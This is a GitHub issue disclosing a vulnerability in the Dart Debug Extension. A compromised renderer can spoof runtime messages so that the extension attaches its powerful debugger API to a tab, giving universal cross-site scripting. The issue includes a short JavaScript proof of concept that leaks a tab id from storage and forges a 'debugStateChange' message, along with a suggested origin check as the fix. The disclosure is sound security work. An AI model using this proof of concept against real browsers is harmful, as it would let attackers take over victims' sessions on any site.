Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Dart Debug Extension UXSS via a compromised renderer #2287

Closed
NDevTK opened this issue Nov 8, 2023 · 0 comments · Fixed by #2289
Closed

Dart Debug Extension UXSS via a compromised renderer #2287

NDevTK opened this issue Nov 8, 2023 · 0 comments · Fixed by #2289

Comments

@NDevTK
Copy link

NDevTK commented Nov 8, 2023

Attack 1: An attacker controlled website can gain access to the powerful extension debugger API that allows for a UXSS without user approval by abusing a compromised renderer. (This is a site isolation issue see https://microsoftedge.github.io/edgevr/posts/deep-dive-into-site-isolation-part-2/#abusing-extensions-to-bypass-site-isolation or https://ndevtk.github.io/writeups/2023/08/18/extensions/)
Attack 2: Its not clear clicking the extension icon may give a remote server permission to all websites not just the trusted localhost debug server over a secure connection. (WAI?)

Repo steps:

  • Go to attacker page.
  • Click the extension icon (Attack 2) or run the provided code as the content script context (Attack 1).
chrome.storage.local.get(null, e => {

// Leak current TabId
for (let item in e) {
// appId is set by the attacker website
 if (!e[item].includes(appId.innerText)) continue
 tabId = item.split('-')[0];
}

// No idea
attach = '[\"DebugStateChange\",\"tabId\",'+ tabId + ',\"newState\",\"start-debugging\"]';

chrome.runtime.sendMessage(JSON.stringify({
 to: 'background',
 from: 'debuggerPanel',
 type: 'debugStateChange',
 body: attach
}));
});

This could be fixed by checking MessageSender.origin comes from the extension origin before attaching the debugger as compromised renderers shouldn’t be able to spoof the MessageSender.url, nor MessageSender.origin as seen by a recipient of a chrome.runtime.sendMessage. See also MessageSender documentation and content script security guidance. https://chromium.googlesource.com/chromium/src/+/master/docs/security/compromised-renderers.md#Messaging

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging a pull request may close this issue.

1 participant